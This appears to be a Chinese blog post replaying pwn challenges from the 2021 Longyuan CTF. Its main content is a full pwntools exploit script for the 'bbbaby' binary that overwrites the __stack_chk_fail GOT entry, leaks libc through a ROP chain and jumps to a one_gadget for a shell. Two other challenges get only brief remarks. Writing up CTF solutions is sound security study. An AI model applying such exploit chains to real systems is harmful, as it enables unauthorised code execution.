首页 > 其他分享 >[复现]陇原战"疫"2021网络安全大赛-PWN

[复现]陇原战"疫"2021网络安全大赛-PWN

时间:2022-11-23 22:45:47浏览次数:43  
标签:bpc 陇原战 add 2021 str PWN delete data lambda

bbbaby

控制__stack_chk_fail,栈溢出

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./pwn1')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
chk_fail = elf.got['__stack_chk_fail']
rdi = 0x0000000000400a03
pl = 'a'*0x118 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000000000040086C) + p64(0x00000000004008BB)
p.sendlineafter('choice\n','0')
p.sendlineafter('address:\n',str(chk_fail))
p.sendafter('content:\n',p64(puts_plt))
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
libcbase = uu64(r(6)) - libc.sym['puts']
ogg = libcbase + 0x4f322
pl = 'a'*0x118 + p64(ogg)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')

itr()

Magic

打开一看

image

熟悉,像是控制流平坦化,不是,就是控制流平坦化混淆。

清楚llvm的混淆原理,那就慢慢分析叭

很简单就一个emmm uaf就完了主要难在分析上。

由于没有2.23的环境就不打了emmm

h3apclass

ren

标签:bpc,陇原战,add,2021,str,PWN,delete,data,lambda
From: https://www.cnblogs.com/bpcat/p/16920412.html

相关文章

  • 题解 LGP7914【[CSP-S 2021] 括号序列】
    solution最终括号串形如:(***(...)(...)***(...)),或者((...)(...)***(...)***),或者((...)(...)***(...)),就是说中间可有可无,两边只留一个。令\(st_{l,r}\)表示\([l,r......
  • 2021牛客OI赛前集训营-提高组(第四场)总结
    概述预估得分:\(100+100+30+50=280\)实际得分:\(30+50+30+45=165\)T1最终测试题目大意\(n\)名选手,第\(i\)名选手的得分有\(0,\;a_{i,0},\;a_{i,......
  • The 2021 CCPC Guilin Onsite (XXII Open Cup, Grand Prix of EDG
    https://codeforces.com/gym/103409/problem/BB.APlusBProblem—————数据结构(set)题意给你两个n位的数a,b(有前导零),c是a+b的结果(最高位的进位已省略)q次询......
  • [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN
    hehepwn一开始泄露stack地址,然后写入shellcode返回到shellcode执行frompwnimport*context.os='linux'context.log_level="debug"context.arch='amd64'p=......
  • UNCTF2022 pwn
    welcomeUNCTF2022nc好耶,直接输入UNCTF&2022​即可‍石头剪刀布一道经典的伪随机数题sla('(y/n)\n','y')libc.srand(0xa)rand=['0','0','1','1','2','1','1','0',......
  • [复现]2021DASCTF实战精英夏令营暨DASCTF July X CBCTF-PWN
    EasyHeap想可执行的地方写入orw的shellcode,利用tcachebin的df进行劫持malloc_hook然后调用add来触发。frompwnimport*context.os='linux'context.log_level="......
  • pwn之ret2syscall
    目录syscall介绍系统调用号ret2syscall介绍判断步骤例题Rop[简单系统调用]思路EXPRet2sys[多系统函数调用]思路EXPRet2sys[64位寄存器]思路EXPsyscall介绍函数系统调用,......
  • unctf2022pwn所有题wp
    unctf2022_pwn_all_wpwelcomeUNCTF2022sl("UNCTF&2022")石头剪刀布预测随机数#!/usr/bin/envpython3'''Author:7resp4ssDate:2022-11-1302:17:09LastEditT......
  • P7963 [NOIP2021] 棋局
    P7963[NOIP2021]棋局给定\(n\timesm\)的棋盘,连有横纵\(2\)种无向边,有\(3\)种类型的边:只允许按照这条边走\(1\)步允许继续走边权为\(2\)的边,但不允许改变......
  • P7163 [COCI2020-2021#2] Svjetlo
    题意给你一棵点权是\(0/1\)的树,你可以从任意一点开始,走到任意一点结束,每到达一个点,都要翻转当前的点权。给定初始的点权,求使得整棵树的点权都变成\(1\)的最短路径长度......